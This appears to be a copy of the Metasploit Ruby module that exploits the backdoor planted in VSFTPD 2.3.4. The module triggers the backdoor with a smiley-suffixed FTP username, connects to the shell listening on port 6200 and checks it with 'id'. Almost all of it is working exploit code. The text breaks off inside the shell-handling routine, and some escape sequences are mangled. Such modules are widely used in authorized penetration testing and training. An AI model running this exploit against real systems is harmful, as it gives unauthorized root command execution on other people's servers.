VSFTPD v2.3.4 Backdoor Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
},
'Author' => [ 'hdm', 'mc' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13099 $',
'References' =>
[
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 3 2011',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(21) ], self.class)
end

def exploit

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end

# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)rn")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end

if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}rn")

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end

disconnect

end

def handle_backdoor(s)

s.put("idn")

r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end

print_good("UID: #{r.strip}")